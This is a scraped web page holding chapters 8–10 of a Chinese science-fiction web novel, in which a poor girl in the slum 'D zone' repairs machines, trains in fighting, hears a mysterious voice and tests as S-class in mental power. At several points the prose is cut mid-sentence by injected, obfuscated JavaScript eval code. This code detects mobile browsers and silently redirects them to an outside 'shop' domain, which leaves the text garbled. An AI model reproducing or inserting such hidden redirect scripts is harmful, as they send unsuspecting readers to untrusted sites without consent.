;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489944|202182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且在这里,也不怕有人偷抢。每天都会有人清点仓库里的物资,这里还有多个摄像头呢。” 江免抬头,正对上其一的摄像头,镜头倒影出她的脸。 男人领着江免走出了仓库。 江免有些晕晕乎乎的,还是觉得不可思议:“仅仅是修理机械,就能这么轻易地赚取物资?那我们以前做的廉价的体力劳动又算什么?” 走在前面的男人瞥了她一眼,反而问: “你为什么会修理机械?在正常的情况下,这是需要‘学习’才能够领悟的技术。” 江免说:“机械自己会教我怎么修。” 这话说得让人云里雾里,不过对方没有深究其含义,而是说道: “劳动廉价,是因为我们只能够去做这些无需‘学习’的工作。” 江免表示不解,又听男人说道: “捡垃圾需要什么深奥的知识吗?就连野兽都能分辨出垃圾中哪些能吃、哪些不能吃。我们只需要将垃圾分拣出来,能用的自己用,不能用的全部搬运过去扔掉,仅此而已。” “这样的工作任何人都能做,没有不可替代性,所以廉价。” 江免若有所思。 男人继续道:“但是,再向上的工作,就需要‘知识’、需要‘学习’了。” “比如你修理机械。我们没有天赋,如果从零开始,小到螺丝钉的区别,再到不同组件的安装方法、电路应该如何焊接,大到所有机械的运行方式。我们需要付出昂贵的学习成本……” “更需要有愿意教导我们的‘老师’。” 男人转向了她,盯着江免的眼睛,对她说出了现实: “并非我们不愿意学习,也并非D区的人乐意待在D区。D区人生来就是被当作弃民,但又有谁甘愿如此?” “知识被垄断了。” 他说:“他们一层又一层地垄断了知识,我们没有向上的可能。武器掌握在他们手里,知识也掌握在他们手里。你知道外面的世界吗?” 江免点头又摇头,示意他继续说下去。 男人说道:“我本是C区的奴隶,见过了外面的世界,才来到D区。C区人的待遇实际上与D区没有太大差别。在外面……” “近乎所有的学校都在A区,学费高昂到以百万计算——这仅仅是一个学期的钱,还不包括食宿费、学杂费、其它大大小小的各种费。如果真要算下来,即便以最节俭的生活来看,一年保守也需要三百万的数额。” 江免倒吸了一口凉气,脑中飞速计算: 按一天工作18小时获得1.5钱,攒够一年的学费需要…… 不不不,还是按照她现在的工资来看。她现在一天能赚12张钱,所以…… 男人不忘泼盆凉水:“D区的钱币与外面不通用。按汇率换算,D区100钱等于外面的1虚拟币。我刚刚说的学费是按虚拟币来算的。” 江免颓然地放弃了计算:“也就是说,普通人一辈子也无法支付学校一年的学费?” “是的。” 男人平静地说:“也有位于B区的学校,学费稍稍便宜些许,一年也需要五十万到百万的学费不等。更重要的是,即便每年交付了如此昂贵的学费,从B区的学校中毕业了,也不一定能够找到工作、获得足够将学费赚回来的工资。” “学习成本如此高昂,知识只被许诺给了上层的人。身份低贱的我们,就是想学,也没有途径。” 江免的梦想是驾驶机甲。 男人在此时告知了她现实: “机甲驾驶员,无疑是人人倾羡的最高级的职业,对吧?然而机甲相关的职业都必需要经过学习,可能够支付起学费的人又有多少?” “从各种意义上来说,能够踏上机甲的,都是天选之人。家庭富庶,驾驶员也有着相应的能力。我们普通人并不一定毫无能力,却是败在了第一关——没有钱,就连准入门槛都没有。所以,机甲全都是A区贵人们的玩物。” 江免沉默了。 “那之下也是一样的。A区垄断了学校,B区的匠人们则只将自己的手艺传给子嗣,绝不外传。教会徒弟,饿死师傅。所有人都想保证自己技术的独特性,这样才能够赚钱。再到C区也是同样。” 男人最终垂眸说道: “这世上最昂贵的东西,是知识,是技术。” “而你现在有了一门独属于你的技术。” 他看向江免,说: “所以,你能靠它换得大量的资源。” 8. 008 听了那样一番话,江免却没有多说,就连最开始见到物资时的欣喜惶恐也收回去了。 她显得分外平静地回到了工场中。 却与前两天不同。 这一次,江免并非是独坐在工场的一角修理机械。她坐到了靠近中心,有更多人的位置。 并非是对特定的某个人,倒更像是自言自语似的,一边修理,她一边念着: “这是螺丝钉。” “这是起子。” “在这里应该用转轴拼接。” “再加上润滑油。” …… 有人悄悄地去看她。工场老大也不由得向她看去。 那般年幼的脸蛋上还带着脏污,她的眼睛却亮得惊人。也只有这般初生牛犊,才会以如此方式宣泄对世界制度的不满。 而他们成年人却已都麻木了。 她似乎想要教会他们。 反而是那些个成年人,好似遇见了什么极为不可置信的事情。有人显得有些鲁莽地朝她的背影靠近了一步,又一步,知道完全能够看清江免进行的每一步动作。即便他们真有了学习的念头,江免也不打算停下来一般。 他们显得有些惶恐了。工场的老大更为直接,他去问江免: “你愿意教我?” “你愿意教我们修理机械?” 江免回头瞥了他们一眼,却说:“没有。” “只是,我想,我以后会长久地留在这里工作。这里没有私密隔间,我也不打算要私密隔间。大家都在这里,虽然我没有打算教你们,但即便你们偷学了,我也拦不住。” 因为江免这话是说得极为认真,且是注视着老大的眸子说的。让男人一时竟分不清,江免到底是想给他们开小灶,还是真处于言语中的那般不甘情愿? 江免却已收回目光,看向了别处。她又说了一次: “如果你们想学,我也拦不住。” 男人看着她的目光多带上了几分复杂。江免已是坐了回去,重新面对她手中的机械,像是教学一般,讲清了她的每一个步骤。 在江免来之前,这间工场里的机器,没有人能够进行系统的修理。 所以大多时候他们纯靠碰运气。 所有损坏的仪器到了他们的手里,首先要敲上三敲。 但既然都是沦落到D区的废品了,这种手段在绝大多数时候都是不顶用的。 不过也有极少数的可能,他们大力出奇迹,还真把机器敲得回光返照了。于是他们将发出怪声的机器搬运回C区贩卖,C区人一脸嫌弃地检查过后,拨给他们部分食物。 C区给的营养液和水在D区已经算是格外优质的资源了,在D区根本就没有不过期的食品。所以对于工场里的人来说,这些营养液倒也算得上是金贵,是很珍稀的资源。 但剩下大部分机器的命运,经过那么一番敲击,有的干脆散了架,还没散架的就由他们来送它最后一程,变成了完全的破铜烂铁。 这个工场的主要工作说是“修理”,更加侧重的实际上是“拆解”。 拆解下来的东西同样属于珍贵物资,可以卖到C区,只是能换得的资源就少了许多。 但不论如何,相较于外面顶着烈日收拾垃圾,能在这个工场里进行工作,还有完全足以填饱肚子的物资,这里确实是D区食物链顶端才有的待遇。 如今,这群通过蛮力攀爬至顶端的肌肉蛮汉们,遇见了D区第一位技术性人才。 也可能是唯一一位。 她甚至…… 愿意教给他们技巧。 他们一时没有言语,工场中只剩下了机械运行的噪声,与江免平淡无起伏的讲解声。 还是有人想要学的,而且学得很认真。他在一处显得有些犹豫,但还是提出了问题: “应该如何分辨……刚刚你提到的两种螺丝的区别?” 江免像是听见了什么鬼话一般,突然瞪圆了眼睛猛地回头去看那人。 那人更吓了一跳,都后退了一步,还以为自己问了什么不该问的,触到了江免的禁忌。 却见江免拿出两颗螺丝,表情中带上了明显的不可思议,她好像听见了有人问“太阳与月亮的区别”一般。 ……不,可能比那还夸张一点。江免像是听见了有人在问“人和石子的区别”。 于是江免仍保持不可思议的表情拿起了两枚螺丝,大方地展示到他们面前,说: “这种孔洞应该放2.5号螺丝。这种放3号。就这么简单。” 众人屈眼看那螺丝看了半晌,就对比出了一点儿大小上的微妙区别,还不太确信。 学生们不得要领,江免更像是不知该从何说起,反而带着种“1+1不该等于2吗?”的茫然,语气微妙地说: “至于这两种螺丝的区别……这么大的区别,它们不管哪里都不一样吧?” “比如说?”这次轮到老大去问了。 “含铁量就不一样啊。”江免理所当然。 “这是肉眼能看出来的?”他们几乎齐声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489945|202182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江免古怪地看了他们一样:“重量和密度就不一样,这些都是差别啊。” 其余人不信,轮流着接过那两枚细小的螺丝掂了掂,愣是没一人能感觉到重量上的区别。 不过他们却没有怀疑江免的理所当然,他们已经证实过了她的能耐。 大概就因为她有这样的能耐,所以才能成为D区这第一位能够修理机械的人才吧。 几人聚集到一起,私下讨论研究去了。 而在接下来几天,江免一如既往地来到工场进行修理,也持续了从那日开始的对每一个步骤的说明。 然而教师教了,其他人几乎学不会。即便是记忆力最好的那个人,硬生生记住了所有步骤,能够生涩地上手修理同样的机械了。 但再换个类似的东西,他却完全学不会举一反三,又得重头开始。 这还是最聪明的那个。 其他大部分人更是连零件也分辨不全。 辨识机械好像是江免与生俱来的本能,她似乎天生就对无机物更为敏感一些。 所以在江免看来,她也完全无法理解,差异这么大的两个零件,他们为什么看不出来区别; 就像其他人也无法理解江免,差异这么大的两个人,她为什么会看不出来区别一般。 可能人天生就是无法相互理解的吧。 江免已经在这个工场呆了有一周时间,尽管她依然没记住工场中任何人的脸,也没能将他们的名字和人对上号,不过其他所有人倒是都记住了这位特殊的小姑娘。 工场的老大似乎也终于观察完毕,确认了某个结论。 他似乎是打算悄悄和她说的。 尽管依然是在工场里,工场里依然有那么多人,他的这个“悄悄”似乎也没多隐蔽。 而在当晚回去之后,非常恰巧的。修好读取器后,忙着搜寻芯片寻找线索的两位小伙伴,也带来了同样的消息。 “江免,或许你的幻听并非是因为你的精神出现了异常。而你修理机械的才能,说不定是因为……” 江免在这一天接触到了一个新的可能。 在工场里、在工作结束后,三人聚集的小屋前。 不同的时间,不同的地点,不同的人物。先是由工厂老大再一次的提出了这个词汇,离开工厂后,则是由小伙伴们说出了大意相同的信息: “你听说过,‘精神力’吗?” “有且仅有一种微渺的可能,能够让你离开D区。那种可能的名字就叫作,‘精神力’。” 9. 009 据闻,这世上的每一人都有精神力。 自最强的SSS级,至最弱的D级,数量呈现金字塔形。 最强的SSS级,从人类发现“精神力”以来,至今也不过出现了8人; 其次则是SS级,十年难得一遇; 再次是S级,同样被视作天之骄子,每年仅会诞生数人。 再之后的A级为卓越,B级为优秀,C级为普通。再到D级,则如同草芥微尘,亦如这赤贫区的人类一样,数之不尽,毫无价值。 只有精神力B级以上的人才能够驾驶机甲,A级以上的人才能够觉醒“异能”。 虽然表达的话语不同,但工场老大、赤琴、温三铭说出了同样的意思: “或许,你就是‘特殊的’。” “如果这个世界上有‘精神力’、有‘异能’的话,包括你对机械的敏锐,包括你听见的那道奇怪的声音。会不会就是因为,你是与众不同的……” “‘高级精神力者’呢?” 江免从工场离去的时候,还有些不以为意。可当她的两位小伙伴也说出近似的内容,在肃穆过后,江免就变成了恍然。 她恍然地告别两人,再恍然地回到自己的小窝中去。 因为他们给出的这道希望,江免想了很久。 哪怕到了以往的入睡时间,躺在床板上,江免也依然忍不住反复琢磨、反复期待着。 赤琴查到了资料。她说,历史上有4位SSS级的能力者出身草芥、30数位SS级始于赤贫。 便是为了这有一分可能存在的“沧海遗珠”,联邦政府在每个区域都设立了精神力检测点,供给那些无力自付检查的贫民,其中也包含了D区。 检查每年定期举行一次,但只有14-16岁的少年人可以报名。 这一次的检查,就能决定所有赤贫之人的人生。 谁没有一个飞黄腾达的梦想呢? 江免没骑过机甲,但见过机甲飞啊。 那是她见过的最大的机械了。虽然近距离见到的只有一个机甲胳膊,但在初见到它运送进D-1区时,江免对它的好感油然而生。 这种由锐利的轮廓线条组成,每一个零件、每一个部位都诉说着力量的美感,作为凝聚了人类智慧的结晶,江免只看了一眼,便再也移不开视线。 而这部机甲甚至是已经淘汰的古董型号。 工厂里也有不少人能够看出她对机甲的喜爱。玩笑般地与她说: “如果你能去到A区,那里有更加漂亮、更加强大的机甲,你去了怕是再也走不动道了。” 所有的人都明白,D区出生的人终其一生也无法离开这个垃圾堆。 但江免仍然心存幻想。 所以,她能够不分昼夜、不知疲惫地在D区工作,就为了见到更多的钢铁巨物; 她每日负责搬运货物、机械修理、阅读相关理论知识。她更认真地思考起了自己将要制作的机甲细节,期冀着自己有朝一日能够在宇宙中遨游。 驾驶机甲还需要B级以上的精神力资格。 觉醒异能,就代表她是A级以上能力者。 而S级以上,就能免去学费,所有的学校都会欢迎她的就读。 ……她真的是吗? 幻听一如既往地响起在她脑中: 「不知今夕是何年?」 它又开始数数了。 「203年。」 过了一两秒: 「204年。」 再过了一阵: 「现在205年了吧?」 莫名的,现在再听到这道声音,她竟感到了一丝诡异的宁静。 江免闭上眼睛,有些困了。 声音还在继续数着: 「206年。」 「207年。」 「我数到哪儿了?」 「202……」 声音似乎沉寂下去,如此安静了好一会儿。江免的意识朦胧之间,听见它小声地问道: 「不知道现在的我是什么模样?毕竟我在海里待了这么多年……」 江免迷迷糊糊地想,在海里待了那么多年还能说话,或许这道声音的主人是海怪吧? 很好,今晚做梦就梦海怪…… 「不知道我身上的零件有没有生锈、损坏?……我想我很坚固,是用特殊的合金制成的,应该不至于变成丑陋的模样。」 「可那么长时间的海水侵蚀,我的身体会不会已经发生了形变?」 江免突然睁开了眼睛。 「听说藤壶生长得很慢。但我身上累积的这么多的藤壶与海鞘,是因为它们变异了,所以生长速度超出我的资料,还是因为,实际上已经有很多年过去了?」 「曾经制造出我的那个人,看见我现在的模样,会生出什么样的感想呢?」 江免睡意全无。很神奇的,她突然一下子清醒了起来,甚至坐起身,忘记了自己的烦恼,专心去听它接下来的话语。 「哦……我忘了,人类的寿命总是很短暂。如果已是很长的岁月过去,他或许已经不在了。」 「可是如果他不在了的话,还有谁能修理我已经变得丑陋的身躯呢?」 「还是说,我之后永远也无法离开深海,再也无法遇见人类了?他们让我来到这里,原来是这个意思吗?」 江免在心中问,「你一直在深海里?你不是人类?」 她又问道:「你需要修理吗?」 还是一如既往的,在她的脑中,那头依然没有回音。 但没过几分钟,就像是什么也没发生过一般,那道声音继续了它数过的年数: 「应该是214年了吧?」 「还是215年?」 「216年、217年……」 江免在心中说,「今年是6095年。」 那边却再也没了回音。 这一晚,江免是真睡不着了。什么对异能的向往、对高级精神力的期待,最终都转化为了一个目的: 离开D区。 不管精神力检测的结果如何,她都要离开D区。为了驾驶机甲,也是为了找到脑内这道声音的源头。 她的目标不会变。 —— 工场的老大虽是在江免确认就职后一周才与她提及“精神力”相关的信息,不过在那之前,江免进入工场的第二天,她一步一步地念出机械的修理步骤时,之后便已是有人问询于她: “我没有什么拿得出手的技能。不过既然身在D区,能够混到这个位置来,至少在格斗方面,我还是有一些经验的。” 说到打架,兴奋起来的不止一人。 工场里的人们没太多知识,但论生存技巧,他们都是行家。 有人来到江免面前,有人说,“我会格斗术”;有人说,“我会军体拳”。总之各有各的斗殴本领,一个两个争着抢着想在她面前露一手似的。 其中也包括了最初表现得冷漠而凶恶的工场老大赛蒙。 赛蒙本来是C区人,按他最初的说法是宁做鸡头不做凤尾,所以来到了D区,他也确实成为了D区最强的一人。 唯独赛蒙进行过身体改造,他在两手手臂中埋下了高强度的合金,能够一拳锤碎石壁,甚至能将钢铁也凿出一个坑来。 江免看他的能力,本来以为他是惯于以力破巧的莽夫,出乎意料的,他竟然是技巧型,并且很擅长去抓敌人的漏洞。 就像先前江免教导他们时一样赛蒙也是一边演示,一边念叨着: “在野外,生存靠的是蛮力,靠的是体型。我们D区的人,活下来也靠体型,靠力量,但也要靠技巧。” “你多吃些,你要长得更高,更壮,把身体养起来,别人才会惧怕你。” “现在你还小,还来得及。在这里,你可以把底子养起来……” 他有些兴奋上头,自顾自地说到这里才反应过来,又有些担忧江免拒绝似的,话语停顿了一瞬,才犹疑地问: “我可以教你打架的技巧。你愿意学吗?” 江免一个挺身从地上站了起来,男人从她眼里看见了熠熠的光:“要学。” 江免伸出手,拉住了大汉的手腕: “我也想变得更强。” 她实在是太瘦小了。在大汉改造过后的手腕前,即便江免张大了手,却依然无法握住他的手腕。 大汉发现,这是江免第一次碰触他。 他笑了起来,气质突然一下子由凶恶转为呆憨。 大家都知道教会徒弟饿死师傅,明明是各自珍藏的技术,提出分享并被人需要时,他的心底却腾升起一股奇异的感动。 大汉说道:“以后的每一天,你多吃点东西,把身体养壮实了。” “我们都有一番独门的功夫,可以轮流来教你,就当做你教我们修机械的学费了。” 江免非常庆幸自己获得了这份工作。 有钱,就能支援他们了。 有力量,就能保护他们了。 江免还专程去了干粮店,向给她介绍了这份工作的店老板道了谢。老板反而很意外一般地看着她,最后说道: “不用谢我。但如果以后我再有什么机械坏了,你就免费为我来修一次吧。” 如此讨了个巧。 “没问题。你的机械遇见什么问题,尽管来找我,我帮你修!” 江免回答得掷地有声。 干粮店老板幽幽地看了她一阵,有些失笑似的,赶她回去了。 回去后,与赤琴与温三铭聊起这桩奇闻的时候,江免学到了新的词汇,叫作“投桃报李”。 再来工场,修理机械之余,她轮流学了一遍诸人的看家本领,第二天如此,第三天如此……之后一直如此。 她教他们修理机械,他们教她修理人类。长久的相处下来,江免逐渐习惯了她新的工作,而工场里的人们亦逐渐熟悉了她。 他们相互学习了许久。 她在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江免的眉头不高兴地皱了起来,撇着嘴,却又不知如何为自己反驳。 其他人欲言又止地去看他们老大,有心想说老大你是不是遗忘了你们的体型与吨位悬殊,这硬件差距本身就是战斗中无法忽略的一环。 赛蒙才不让手下给他揭了底,不过这一次,倒是所有人第一次听到赛蒙谈及他的过去: “我在C区,也是C区歧视链最底端的奴隶。” 时至今日,江免也多多少少地听说了D区之外的事情。 A区最为高贵,居住的尽是贵族与机甲军士;C区最为低端,居住的是能够被机械取代的体力劳动者。之所以没被完全取代,是因为机械万一出错,就需要有人类担责。 为什么C区最为低端? 那是因为D区住民通常不被视为人,而D区也没有资格与ABC三区并称,D区就是一个常人提到都觉得厌恶的独立区域。 所以在外面那个通常社会中,C区人是最为卑贱的,那里的住民有半数是A区贵族们的奴隶。 赛蒙就是那样一个奴隶。 普通的娱乐取悦不了贵族,于是赛蒙进入了地下角斗场。那里全部都是人类,贵族们高坐于观影席,喝着酒,买着票,打着赌。 他们看赛博斗蛐蛐没意思,一定要看与他们同种的生物流出鲜红的血。他们通过改造让自己的蛐蛐儿变得更强,最好能为他们大胜一笔。如果有伤至无法比赛的蛐蛐儿,再为他们注射安乐死,显得非常人道。 赛蒙曾经也是蛐蛐中的一员。 在角斗场上,各个年龄段的人他都见过。以他的见识来看,江免确实算不上是武道奇才,这倒也算得上是他的实话。 不过赛蒙本身也不算是一个特别有能的选手,直至他受不了逃离角斗场、来到D区,他的胜率也不过50%上下。 既当过黑马,也爆过冷门。 “我受不了那样的日子了。” 赛蒙说:“所以,我逃到了D区。其他人都厌恶这里,没有人会为了一个奴隶追到这里来。除了D区,我哪儿也去不了。” D区通常是有进无出,他们与C区的交易也是在隔离带完成。如果有D区人试图离开,满区域的重火力武器会直接带他们离开人世。 赛蒙看向了江免。他的表情是认真的,仅仅是认真,而不曾见到怨愤。 他像是在考究一道世纪难题一般认真的说: “生活在A区的贵人们什么都不用动手,他们想要的一切会有奴仆递到他们手中,无需忧虑任何事情。” “他们不需要力气,所以他们以瘦为美;他们不需要顶着烈日奔波,所以他们以白皙为美。” “他们不理解我们,也不理解为什么食物需要争抢获得。他们看我们,犹如在看虫豸。只有生活在野外的老鼠蟑螂才需要每天为食物而奔波,因生存而争斗。他们不需要。” “将A区的贵人们放到我们D区,他们活不过一天。可为什么偏偏是他们,能够立于社会的顶层?” “我们也不理解他们。” 江免14岁。 那是在精神力检测的前一周。赛蒙对她说道: “如果,你精神力检测的结果足以引发奇迹,让你去到A区……” 江免在心中想,什么叫作“引发奇迹”? 却听,赛蒙的下一句话问她: “你会被A区人同化吗?” 10. 010 随着年岁渐长,江免听见的声音越发清晰,也愈发频繁。 不同于江免的沉默,那道神秘的声音有着相当的话痨属性。一天24个小时,有23小时都在嘀咕,说的却是车轱辘话: 「这里真无聊。」 「你好。」 「你好。」 「有人来陪我聊天吗?」 「今年是209年了吧。」 江免默默在心里帮它记数: 今年已经是6102年了。 距离她初次听到这道声音,已经过了7年。 也恰好是在6102年,江免14岁时。 她终于听见那道声音呢喃出了不一样的内容: 「我讨厌宙斯。」 「可与它也有好久未见了。不知道它现在过得怎么样?」 —— 江免在听闻精神力检测的具体情报后就打算与小伙伴们分享这个情报,不过显然赤琴与温三铭也有着自己的情报来源,江免知道的也不一定比他们详尽。 三人都在期待这这个据说是“足以改变命运”的精神力检测的到来。 怎么改变命运,江免没什么概念。倒是温三铭有理有据地揣摩: “你想啊,历史上有4位SSS级的能力者出身草芥、30数位SS级始于赤贫,他们现在都成了赫赫有名的大人物。也就是说,假如我们能检测出SSS级的精神力,那不是铁定能够离开D区,同样成为记录在史书中的大人物了?” 江免睁大了眼睛:“能够离开D区?” 对于江免来说,精神力等级最直观的决定了她是否能够驾驶机甲。精神力再高点,能够觉醒异能。如今她疑似觉醒了机械相关的异能,当然也有可能是精神分裂,这一点至今没有办法检测。 但不管是哪一种,对她的生活没有影响,而且她也已经收获到了进入工场这个福利。再至于其他裨益,她就很难以想象了。 赤琴却也跟着说: “哪怕不到SS级,仅仅是S级,应该也有离开D区的资格了吧?” 江免继续睁大眼,听他们说。 “别小看了S级啊,S级也很稀有的。” 赤琴说道:“几亿的人口呢,每年也就诞生那么几人。亿中挑一,按概率来说已经是了不得的珍宝了吧?” “是啊。” 温三铭跟着感叹:“亿里挑一,听着好遥远啊……” 江免不知该说什么,于是当作氛围组,跟着“啊”了一声。 三人躺在石砾上,仰望着深邃的夜空,一时沉寂。 检测前一晚,他们谁都睡不着。三个脑袋挤在一起,便聊起了未来。赤琴笑嘻嘻地问那两人: “明天就要检测了。你们觉得你们会是什么等级?” 江免老实回答:“明天就能知道了。” 赤琴瞪了过去:“猜猜嘛,发挥一下你的想象力。你说说你希望能够有什么等级嘛。” 江免问:“希望就能够改变自己的等级吗?原来精神力等级还和祈祷的强弱有关?” 当然无关。不然最容易出S级的可能是D区,无数人日夜期盼能够离开这里呢。 但赤琴被江免不解风情的回答噎了一下,就是忍不住再瞪过去。 江免以一种无辜而真诚的询问视线继续看她。 温三铭在这时说道: “我希望我是C级吧。C级就够了。” 两人一同看了过去,一同问:“为什么?你不想离开这里?” 温三铭笑了笑,显然这是他早就想过很多次的事,只是这时才袒露: “我知道的,你们都想离开这里。去到更远的地方,爬得越高越好,这是好事呀。” “但是,如果我们都走了,谁来照顾腿脚不便的奶奶呢?” 三人一同沉默了。 温三铭又笑了出来,放缓了声,他是真心这样想的: “我没有什么大志向,没什么梦想,你们也知道。对我来说,我只要能和家人在一起就够了。” 家人之中,也包括了江免与赤琴。但她们想要出去,想要追自己的梦。 温三铭不想用友情或亲情绊住她们。如果她们想要飞的话,温三铭觉得,他在原地看着她们就好。 留一个家在这儿,他与奶奶在家里。当飞鸟倦了,回到家中,她们依然有一个归处。 温三铭没有把他的想法全部说出来,只说: “我留在这里照顾奶奶,也是由我来最为合适。你们出门也能够放心。” 赤琴的声音低落下去: “为什么你说得好像我们一定能够出去似的?这么多年来,能够离开D区的人,一个都没有。” 温三铭又笑道:“不是你说的,发挥想象力嘛?那自然就要向最美好的方向想象了。” 江免在这时就像发誓一样地说道: “如果我能够离开,我一定会在外面去找最好的药,治好奶奶。听说在A区,什么样的药品都有。奶奶只要吃了药,一定能恢复到以前那样,重新记起我们的名字,重新与我们欢笑。” 另外两人一同笑出了声。 赤琴的语调也欢快起来,继续了他们先前的话题: “我嘛,反正是许愿,那我希望我有SS级……不,SSS级的精神力。” 江免诧异:“怎么又变成许愿了?” 赤琴不理她,手指绕着头发,轻快地说:“我想要一步登天,平步青云。最好什么都不用做,财富和权力就滚滚来到我的手中。” “反正做梦嘛,不如做个大的。” 江免显得有点恍然地又“啊”了一声,也不知道她是因为什么而恍然。 三人望着天空,星辰闪烁着。看上去触手可及的距离,但赤琴知道,星星与她的距离,就如同她与她的梦想的距离一般遥远。 赤琴的表情已是变得认真,收回视线,语气中消失了轻快: “如果被检测出来有精神力,等级却不高不低,那才是最麻烦的事。” “为什么?” 只有江免在问,温三铭似已明白了理由。 “如果精神力等级低,那就可以干脆断了念想,什么也无法改变,继续维持现状活过一生;如果精神力等级高,则是青云直上,一岁九迁,能够完全地改变现境。” 14岁的姑娘,很淡然地说出了不符于她年龄的成熟话语:“偏偏是不高不低的精神力等级,会给人一丝‘能够改变现状’的念想,却也只给人一丝念想。” “B或C的精神力等级,超越了一半的普通人。但放在精神力者的世界中,只是平平无奇。向上难,向下却又不甘。而对于我们D区的人……” “B级以下,仅仅是意味着,我们再无离开D区的可能。” 这一次,沉默蔓延了更长的时间。直至另外两人将话题抛给江免: “你还没有说,你希望你是什么等级呢?” 江免如实回答: “我不知道。” “反正只是聊天,发挥你的想象力呀!” “就算想象了,于事实而言也没什么意义……” 江免本想这么说,在赤琴的瞪视下逐渐收了音,重新说道:“只要能够驾驶机甲就够了。” “哦,B级以上。” 赤琴说。 江免点头,却突然说起了现实: “前些天,在工场的时候,赛蒙突然问我……” 江免平时聊天的时候偶尔也会与小伙伴们聊起工场以及工场里的事,他们是知道这位赛蒙老大的。江免介绍完了事情始末,接着说道: “他问,‘你会被A区人同化吗?’” “那你是怎么回答的?” “我答,‘我不知道。’” 两位小伙伴一位听笑了,一位气笑了。江免对着赤琴说道:“他当时也露出了你这种气笑了一样的表情。” 江免收回视线,再看向天空:“但我现在想出来了。” “我不可能成为A区人,我也无法留在A区。温三铭说留在D区,那我的家就在这里。我的家人在这里,我终归会回到这里。” 温三铭一愣,旋即带上了笑:“别呀。好不容易离开D区,怎么还想着回来呢?” 赤琴与温三铭相视一眼,一前一后地对江免说: “A区安逸的生活有什么不好?如果你真能离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489947|202182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可别再想着回来。” “平心而论,‘被同化’没有什么不好的,那可是我们人人都向往的生活。你如果能够融入A区……” “绝不。” 江免说:“我只有一个家。” —— 第二天,精神力检测在早上7点开始。江免与温三铭难得缺席了工作,他们与赤琴汇合在隔离区中搭建的简陋帐篷前。 这是三人第一次离开D区。 在帐篷前,排队的人数着只有20來位。D区全部的适龄青少年一共就只有这么点儿。 当然不是因为这个地区的人口少,而是因为,大部分的人都不知道精神力检测的消息。 对所有适龄儿童进行检测是硬性规定。 但规则是规则,执行是执行。 因为D区消息闭塞,很多人根本不知道还有免费的检测资格。而执行检测的公务人员同样排斥D区“达利特”,他们更不觉得D区能出什么高等级精神力的苗子,所以人来了就来了,不来他们也不会主动宣传。 就检测的结果而言,检测员的无视似乎也有一定的道理。 前往检测的D区人虽然不多,但也说不上少,而且知晓“精神力检测”存在的已经是D区中的佼佼者了。 然而这么多年来,精神力最高的人也只达到了B级。 想着这些有的没的东西,江免在人生中第一次,竟感到了紧张。 前方队列的人数缓缓地减少着。 曾进入帐篷的所有人,脸上都是带着忐忑的期待,再变成灰败的绝望离开。 无一例外。 同样的表情变化又一次发生在江免前列的人身上。那是一位小姑娘,江免见她进入帐篷的时候还带着僵硬的笑,出来时却已拭起了泪花。 她也不看路,从江免身边擦肩而过,差点撞到赤琴。赤琴扶了她一把,她大哭着跑出去了。 江免看着前面已无人的队列,帐篷黑洞洞的入口正对着她。 他们三人一同前来。江免在前,赤琴在中,温三铭在后,亦是与他们自身的期待相关。 再下一位,就轮到她了。 江免感到了窒息。 “下一位!” 另外两人看向了江免。 正如江免熟悉他们,他们也熟悉江免。 不待她说话,温三铭已是说道: “最想要离开这里的,是你吧?” 江免脚步没动,只是站在最前列,有些僵硬地点了点头。 “如果能检测出A级以上的精神力,希望就很大了。” 赤琴说话时,声音中难得带上了温柔:“我觉得你一定可以的。” 江免抬头,抿着嘴看向赤琴。 赤琴又笑了。姣好的脸蛋配上明艳的笑容,靓丽得让人晃神。 她说道:“只有你能听见的声音,不就是最好的证明吗?” “从以前我们就知道,你和我们是不一样的。” 温三铭低声地说。 江免不以为然:“但是,那说不定只是我的臆病……” 刚进入的人飞快的出来了。房间内在喊:“下一位,快点!” 江免更显局促地回头去看两人,仿佛这样才能为她带来些许力量。 两人都笑了。 他们一左一右地伸出手,轻推向江免的背。无需任何鼓励,他们只是说: “去吧,轮到你了。” “等你的好消息。” …… 时间不过一刻,也正如同两人预料的那样。 江免走进测试间不久,隔着一道廉价的塑料门,队列中的所有人仍是看见了从门内透出的莹白色光芒。 房间内传来了检测员的喊叫声: “是S级!” 近百年来,赤贫区再没有出现过A级以上的精神力者。所有人都把历史当做了历史,无人再相信“可能”这样的字眼。 “没想到在D-27区,竟然真的出现了一个S级的苗子!” 如今,竟又有一颗遗落在外的宝石被找到了。 